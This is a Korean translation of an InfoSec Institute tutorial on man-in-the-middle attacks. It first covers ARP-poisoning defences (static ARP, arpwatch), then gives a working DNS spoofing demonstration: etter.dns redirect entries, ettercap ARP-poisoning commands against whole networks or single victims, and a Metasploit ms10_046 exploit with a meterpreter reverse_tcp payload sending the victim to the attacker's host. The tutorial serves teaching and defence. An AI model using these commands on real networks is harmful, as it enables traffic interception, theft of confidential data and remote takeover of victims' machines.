Man-in-the-Middle Attack (infosecinstitute) 번역문서 해당문서는연구목적으로진행된번역프로젝트입니다. 상업적으로사용을하거나, 악의적인목적에의한사용을할시발생하는법적인책임은사용자자신에게있음을경고합니다. 원본 : http://resources.infosecinstitute.com/ 번역자정진환 ( 쇼우 ) 번역자조정원 ( 니키 ) - 보안프로젝트 (www.boanproject.com) - 1
목 차 1. 시작하기전에... 3 2. Static ARP... 3 3. ARPwatch... 4 4. DNS Spoofing Attack... 5 5. DNS Spoofing 시연... 7 6. 끝맺음... 15 2
1. 시작하기전에 Man-in-the-Middle Attack(infosecinstitute) 번역문서 대부분의정보보호인식을가진사용자들은 ARP cache poisoning 공격이매우위험한공격이라는것을알고있습니다. 때문에그들은이러한공격을대비하여공격탐지전략이나효과적인툴을공유합니다. 만약당신이소규모의네트워크를운용한다면쉽게 ARP 정보를관리할수있겠지만, 대규모의네트워크를관리한다면이러한관리는대단히어려운것입니다. 이전글의마지막부분에서 ARP cache poisoning 공격을탐지하는기술과도구를말씀드렸습니다. 이러한방어기술및도구사용을다시한번차근차근짚어보도록하겠습니다. 2. Static ARP 당신은수동적으로네트워크의 ARP 테이블을관리할수있을것입니다. 단한번만 Static( 정적인 ) ARP 를추가하면되는것이죠. 이러한작업 (Static ARP 로 ARP 테이블을관리하는작업 ) 은당신의 terminal/cms 에서아주간단하게할수있을것입니다. 입력형태 : "arp -s" 예 (Example) : 현재 ARP 테이블은 root@bt:~# arp Address HWtype HWaddress Flags Mask Iface 192.168.1.1 ether 00:22:93:cf:eb:6d C eth0 그리고 ARP 테이블에새로운호스트를추가하는작업을한다고가정하고, 저는간단하게 명령어를작성합니다. arp -s IP MAC root@bt:~# arp -s 192.168.1.2 00:50:FC:A8:36:F5 root@bt:~# arp Address HWtype HWaddress Flags Mask Iface 192.168.1.2 ether 00:50:fc:a8:f5 CM eth0 192.168.1.1 ether 00:22:93:cf:eb:6d C eth0 root@bt:~# 3
위와같이수동적으로입력한 ARP 테이블정보는현재의세션에만유효하게됩니다. 즉, 컴퓨터를재부팅하게되면테이블에기록한내용은사라지게되는것입니다. 만약당신이위와같은 static arp 를사용하고자한다면, 위와같은명령어집합을 batch 또는 bash 파일을만들고그것들을컴퓨터가시작될때실행되게추가작업을해주셔야합니다. 3. ARPwatch 'ARPwatch' 는네트워크상의 ARP 를모니터할수있게해주는강력한유틸리리 프로그램입니다. 이프로그램은네트워크상의변화를감지하고이를메일로기록하여보내 주는기능을합니다. 설치는매우간단합니다. 아래는 Ubuntu 유저일때설치방법입니다. #apt-get install arpwatch root@bt:~# arpwatch -h Version 2.1a15 usage: arpwatch [-dn] [-f datafile] [-i interface] [-n net[/width]] [-r file] [-s sendmail_path] [-p] [-a] [-m addr] [-u username] [-R seconds ] [-Q] [-z ignorenet/ignoremask] 아래의명령은모니터링을시작을하는것입니다. #arpwatch -i interface root@bt:~# arpwatch -i eth0 프로그램이시작되고있는지아닌지확인하는명령은아래와같습니다. root@bt:~# ps -ef grep arpwatch root 3737 3002 0 19:32 pts/0 00:00:00 grep --color=auto aprwatch 다음은기록된 ARPwatch 프로그램의로그를보는것인데, 이또한쉽습니다. 디렉토리를 찾아서들어가고읽기만하면됩니다. root@bt:~# cd /var/lib/arpwatch root@bt:/var/lib/arpwatch# ls arp.dat arp.datroot@bt:/var/lib/arpwatch# cat arp.dat 4
00:50:fc:a8:36:f5 192.168.1.2 1337437776 eth0 00:27:0e:21:a6:1e 192.168.1.5 1337437923 eth0 그리고이제당신이만약네트워크관리자중한명이라면, ARP poisoning 공격으로부터 방어할수있는 ARP 테이블감시 ( 모니터 ) 에대한전략을구현해봐야합니다. 명심해야할것은 Man-in-the-Middle 공격이 ARP spoofing 공격만은아니라는것입니다. 수많은 Man-in-the-Middle( 중간자 ) 공격의기술이있습니다. 한예로, DNS spoofing 입니다. 저는이제 DNS spoofing 에관해서자세히분석해보고자합니다. 4. DNS Spoofing Attack DNS spoofing 은공격자가희생자의비밀정보들을쉽게훔쳐낼수있는 Man-in-themiddle( 중간자 ) 형태의공격입니다. 위험한것은틀림없습니다. 이글을통해이공격을이해할수있지만명심해야할것은 DNS spoofing 은많이알려진일반적인개념이고, DNS spoofing 공격은무수히많은형태로있다는것입니다. DNS spoofing 공격에선공격자는위장한웹사이트로트래픽을바꿔보내는취약성을 이용합니다. 그러므로 DNS soofing 공격이해를하기위해선 DNS 개념을이해할필요가있습니다. DNS(domain name system) 은인터넷을사용함에있어서매우중요한프로토콜입니다. DNS 는 TCP/IP 안에속해있으며, 계층적으로분류되어도메인의이름에관련된정보를포함하고있는모듈입니다. 인터넷에서 DNS 는도메인이름을각각의 IP 주소로맵핑하는데신뢰성이있습니다. 저희는이러한 DNS 의도움으로친근한도메인이름을가지고컴퓨터의서버와통신하는것입니다. DNS 의작업순서는도메인이름을가지고해당서버 / 컴퓨터의아이피를찾아변환시키게됩니다. 이렇게하는이유는, 라우터나서버기타등등의장비들은우리에게친숙한도메인이름 ( 예로, infosecinstitute.com) 을이해할수없고오직 IP 주소만이해할수있기때문입니다. 일반적인 DNS 서버와호스트서버사이의통신을아래의그림을통해서봅시다. 5
DNS 서버는각각의도메인이름에대해 IP 주소정보를저장하고있는데이터베이스가있습니다. 그래서, 호스트는서버에게요청을하고서버는그에관한정보를응답으로주게되는것입니다. DNS 서버는만약들어오는요청정보를가지고있지않다면, 또다른외부 DNS 서버에게요청하여올바른응답을할수있도록합니다. 그래서, 어떻게공격자는 DNS spoofing 기술을이용해서 man-in-the-middle 을수행하냐구요? 아래의이미지는그답변을매우간단하게설명하고있습니다. 6
DNS soofing 기술을이용한 Man-in-the-Middle 공격은, 공격자가정상적인통신을중간에서가로채고, 가짜로만든웹사이트 ( 피싱사이트 ) 로트래픽을우회시킵니다. 예를들어, 당신은 google.com(google 의 IP 주소는 173.194.35.37 임 ) 사이트에방문하기를원하지만공격자는 DNS spoofing 기술을이용해서통신을가로챈후가짜사이트주소 ( 피싱 IP 주소 XXX.XXX.XXX.XXX) 로연결시키는것입니다. 5. DNS Spoofing 시연 앞전에저희는 ARP spoofing 공격을시연하는좋은도구를알아봤습니다. Ettercap 은 DNS spoof 플러그인도포함하고있고이플러그인또한아주쉽게사용할수있습니다. ettercap 를 GUI 버전으로열고, "sniff" 를클릭하고아래 "unified sniffing" 을클릭해서, 네트워크인터페이스를선택합니다. 그다음호스트를클릭하고네트워크안의통신중인모든호스트를검색합니다. 그리고이시연에앞서, etter.dns 파일의내용을올바른 DNS spoofing 을위해서아래처럼수정을합니다. 7
microsoft sucks ;) # redirect it to www.linux.org # microsoft.com A 192.182.196.56 *.microsoft.com A 192.182.196.56 www.microsoft.com PTR 192.182.196.56 # Wildcards in PTR are not allowed 자동으로, ettercap 는 microsoft.com 을다른 IP 주소로연결짓게만들어져있습니다. 이것을 수정해봅시다. microsoft.com A 192.168.1.12 *.microsoft.com A 192.168.1.12 www.microsoft.com PTR 192.168.1.12 # Wildcards in PTR are not allowed 192.168.1.12 아이피주소는공격자의기기가사용중입니다. 공격자의기기는웹서버를운용 중이고 IP 포워딩기능을사용하고있습니다. DNS spoofing 공격이전희생자의컴퓨터는 아래와같습니다. 8
C:\>ping www.microsoft.com Pinging microsoft.com [65.55.58.201] with 32 bytes of data: Reply from 65.55.58.20: bytes=32 time=167ms TTL=54 >Reply from 65.55.58.20: bytes=32 time=167ms TTL=54 Reply from 65.55.58.20: bytes=32 time=167ms TTL=54 Ping statistics for 65.55.58.20 Packets: Sent = 4, Received = 4, Lost = 0 <0% loss>, GUI 인터페이스의 ettercap 에, 희생자의 IP 주소를타겟 1 으로, 게이트웨이주소 ( 라우터 IP) 를 타겟 2 로추가합니다. Mitm -> ARP poisoning 을클릭하고, 원격으로도청하는 "check" 표시를한후, OK 를누릅니다. start 를눌러서스니핑을시작하고, plugins -> manage the plugins 에서 dns_spoof 를선택합니다. 이제 DNS spoofing man-in-the-middle 고역이수행됩니다. 이제공격을한후인희생자컴퓨터의상황은아래와같습니다. 9
DNS 가성공적으로스푸핑당한것을당신은볼수있습니다. 그리고모든 Microsoft sever 로 향하는트래픽은공격자의컴퓨터로우회되는것도볼수있습니다. 이시연은 GUI 시연을해보도록합시다. 기반으로했습니다만 command( 명령 ) 모드도또한할수있습니다. 바로 우선, 간단한명령으로 etter.dns 를찾습니다. root@bt:~# locate etter.dns /usr/local/share/videojak/etter.dns /usr/share/ettercap/etter.dns root@bt:~# 이제당신이원하는텍스트편집기를사용하여 etter.dns 파일을오픈시킵니다. root@bt:~# gedit /usr/share/ettercap/etter.dns root@bt:~# nano /usr/share/ettercap/etter.dns 10
모든설정이끝난후저장을하면이제공격의모든준비는다되었습니다. 그리고아래는 ettercap 로 DNS spoofing 공격을사용하기위해필요한모든것입니다. root@bt:~# ettercap -T -q -P dns_spoof -M arp // // ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA Listening on eth0... (Ethernet) eth0 -> 00:1C:23:42:8D:04 192.168.1.12 255.255.255.0 SSL dissection needs a valid 'redir_command_on' script in the etter.conf file Privileges dropped to UID 65534 GID 65534... 28 plugins 39 protocol dissectors 53 ports monitored 7587 mac vendor fingerprint 1698 tcp OS fingerprint 2183 known services Randomizing 255 hosts for scanning... Scanning the whole netmask for 255 hosts... * ==================================================> 100.00 % 4 hosts added to the hosts list... ARP poisoning victims: GROUP 1 : ANY (all the hosts in the list) GROUP 2 : ANY (all the hosts in the list) Starting Unified sniffing... Text only Interface activated... Hit 'h' for inline help Activating dns_spoof plugin... 이명령을멈추고 DNS spoof 를수행하기위해사용한구조를보면, -P 플러그인사용을의미합니다. 여기서저희가원하는플러그인은 dns_soof 입니다. -T 텍스트기반의인터페이스를사용하는것을의미합니다. -q 멈출수있는모드를의미합니다. -M ARP poisoning 공격을착수하는것을의미합니다. // // 전체네트워크의스푸핑하는것을의미합니다. 추가적으로, 복잡하고세분적으로명령을만들수도있습니다. 예를들어, 만약당신이특정하나의희생자를스푸핑하기를원한다면, 그희생자의 IP 에게 DNS spoofing 공격이가능합니다. 11
root@bt:~# ettercap -T -q -P dns_spoof -M arp /192.168.1.6/ // ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA Listening on eth0... (Ethernet) eth0 -> 00:1C:23:42:8D:04 192.168.1.12 255.255.255.0 SSL dissection needs a valid 'redir_command_on' script in the etter.conf file Privileges dropped to UID 65534 GID 65534... 28 plugins 39 protocol dissectors 53 ports monitored 7587 mac vendor fingerprint 1698 tcp OS fingerprint 2183 known services Randomizing 255 hosts for scanning... Scanning the whole netmask for 255 hosts... * ==================================================> 100.00 % 4 hosts added to the hosts list... ARP poisoning victims: GROUP 1 : 192.168.1.6 00:16:41:ED:6A:D0 다른예로, 특정인터페이스에게 DNS spoofing 위해서는다음과같은명령을입력해야합니다. 공격을할수도있습니다. 이렇게하기 root@bt:~# ettercap -T -q -i eth0 -P dns_spoof -M arp // // DNS soofing 은매우위험한공격입니다. 때문에공격자는 ettercap 의 DNS_spoof 플러그인과함께다른도구들을사용하여공격을감행합니다. 궁극적으로, 공격자는 'social engineering toolkit( 사회공학적도구들 )' 을이용하여 DNS spoofing 을시도하고희생자의컴퓨터제어할수있게됩니다. 단지상상해보십시오. DNS spoofing 공격을 'social engineering toolkit' 을이용해공격을합니다. 희생자는 Google 을열지만다른 IP 로트래픽이연결되고원격세션이열리게되는것입니다. 시나리오하나를생각해봅시다. 아래는 ettercap 를통한 DNS spoofing 과 metasploit exploitation 중하나를조합합니다. 당신이원하는어떤 exploit 을선택하고, 공격할 reverse_tcp payload 를선택합니다. 공격자 IP 주소는 192.168.1.12 입니다. 12
root@bt:~# msfconsole o 8 o o 8 8 8 ooyoyo..opyo. o8p.opyo..opyo..opyo. 8.oPYo. o8 o8p 8' 8 8 8oooo8 8.oooo8 Yb.. 8 8 8 8 8 8 8 8 8 8 8. 8 8 8 'Yb. 8 8 8 8 8 8 8 8 8 8 `Yooo' 8 `YooP8 `YooP' 8YooP' 8 `YooP' 8 8..:..:..:...:::..::...::...:8...:..:...::..::..: ::::::::::::::::::::::::::::::::::8::::::::::::::::::::::: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::: =[ metasploit v3.7.0-release [core:3.7 api:1.0] + -- --=[ 684 exploits - 355 auxiliary + -- --=[ 217 payloads - 27 encoders - 8 nops msf > use windows/browser/ms10_046_shortcut_icon_dllloader msf exploit(ms10_046_shortcut_icon_dllloader) > set SRVHOST 192.168.1.12 SRVHOST => 192.168.1.12 msf exploit(ms10_046_shortcut_icon_dllloader) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(ms10_046_shortcut_icon_dllloader) > set LHOST 192.168.1.12 LHOST => 192.168.1.12 msf exploit(ms10_046_shortcut_icon_dllloader) > exploit [*] Exploit running as background job. [*] Started reverse handler on 192.168.1.12:4444 [*] [*] Send vulnerable clients to \\192.168.1.12\bqokoWwx\. [*] Or, get clients to save and render the icon of <your>">http://<your host>/<anything>.lnk [*] [*] Using URL: http://192.168.1.12:80/ [*] Server started. 모든게 OK 되었다면, 우리의시나리오에따라 etter.dns 를설정만하면됩니다. 아래의사진을보게되면, 구글로향하는타겟을공격자의아이피로설정했습니다. 그리고희생자는 google.com 을한번열게되면, 그또는그녀는 192.168.1.12 로연결되고원격세션은시작되게됩니다. 13
14
DNS spoofing 공격의주요위험한측면 : 희생자는안전한사이트에대한모든것들로접속하기때문에공격을알지못하지만, 유감스럽게도옳은서버접속이아니게됩니다. 게다가, 이공격은공개 WI-FI 를사용하는중공격자가있다면, 다른사람의컴퓨터로침투할수있다는점이매우위험합니다. 바라는것은, 저는이글이 ARP posoning 공격과 DNS spoofing 공격을탐지하는전략에도움을줄수있는논의였기를바랍니다. 6. 끝맺음 http://resources.infosecinstitute.com/ 사이트에서는다양한해킹공격시연문서및방어들이정기적으로배포되고있습니다. 입문자들대상으로설명한문서들이많아서연구목적으로번역을시작하였습니다. 앞으로도좋은컨텐츠에대해서는정기적으로번역을해서배포하도록하겠습니다. 번역에참여해주신멤버들에게감사합니다. 15